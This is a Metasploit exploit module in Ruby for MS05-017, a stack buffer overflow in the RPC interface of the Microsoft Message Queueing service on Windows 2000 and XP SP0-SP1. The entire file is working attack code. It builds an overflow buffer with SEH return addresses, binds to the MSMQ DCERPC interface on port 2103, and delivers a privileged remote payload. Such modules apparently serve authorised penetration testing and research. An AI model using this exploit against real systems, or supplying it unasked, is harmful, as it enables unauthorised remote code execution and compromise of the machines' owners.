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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MS05-017 Microsoft Message Queueing Service Path Overflow',
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      'Description'    => %q{
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        This module exploits a stack buffer overflow in the RPC interface
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        to the Microsoft Message Queueing service. The offset to the
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        return address changes based on the length of the system
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        hostname, so this must be provided via the 'HNAME' option.
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        Much thanks to snort.org and Jean-Baptiste Marchand's
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        excellent MSRPC website.
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      },
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      'Author'         => [ 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-0059'],
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          [ 'OSVDB', '15458'],
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          [ 'MSB', 'MS05-017'],
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          [ 'BID', '13112'],
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        ],
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 1024,
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          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => %w{ win },
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      'Targets'        =>
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        [
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          [
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            'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
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            {
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              'Platform' => 'win',
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              'Rets'     => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
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            },
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          ],
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        ],
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      'DisclosureDate' => '2005-04-12',
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      'DefaultTarget' => 0))
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    # Change the default port values to point at MSMQ
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    register_options(
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      [
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        Opt::RPORT(2103),
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        OptString.new('HNAME',  [ true,  "The NetBIOS hostname of the target" ]),
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      ])
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  end
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  def autofilter
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    # Common vulnerability scanning tools report port 445/139
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    # due to how they test for the vulnerability. Remap this
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    # back to 2103 for automated exploitation
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    rport = datastore['RPORT'].to_i
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    if ( rport == 445 or rport == 139 )
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      datastore['RPORT'] = 2103
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    end
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    # The NetBIOS hostname is required to exploit this bug reliably.
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    if (not datastore['HNAME'])
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      # XXX automatically determine the hostname
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      return false
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    end
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    true
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  end
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  def exploit
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    # MSMQ supports three forms of queue names, the two we can use are
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    # the IP address and the hostname. If we use the IP address via the
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    # TCP: format, the offset to the SEH frame will change depending on
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    # the length of the real hostname. For this reason, we force the user
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    # to supply us with the actual hostname.
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    # Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName
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    queue_name = "OS:#{datastore['HNAME']}";
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    queue_hlen = datastore['HNAME'].length * 2
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    queue_path = unicode(queue_name + "\\PRIVATE$\\")
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    buf   = rand_text_english(4000, payload_badchars)
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    # Windows 2000 SEH offset goes first
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    buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')
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    buf[372 - queue_hlen - 4, 2] = "\xeb\x22"
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    # Windows XP SEH offset goes second
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    seh = generate_seh_payload(target['Rets'][1])
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    buf[400 - queue_hlen - 4, seh.length] = seh
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    # Append the path to the location and null terminate it
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    queue_path << buf << "\x00\x00"
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    # Get the unicode length of this string
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    queue_plen = queue_path.length / 2
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    connect
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    print_status("Trying target #{target.name}...")
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    handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    stubdata =
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      NDR.long(1) +
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      NDR.long(1) +
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      NDR.long(1) +
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      NDR.long(3) +
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      NDR.long(3) +
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      NDR.long(2) +
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      NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)
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    print_status('Sending exploit ...')
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    response = dcerpc.call(9, stubdata)
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    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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      case dcerpc.last_response.stub_data
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        when "\x20\x00\x0e\xc0"
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          print_status("The server rejected our request, the HNAME parameter could be incorrect")
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        when "\x1e\x00\x0e\xc0"
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          print_status("The server does not appear to be exploitable")
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        else
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          print_status("An unknown response was received from the server:")
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          print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
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      end
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    end
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    handler
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    disconnect
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  end
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end
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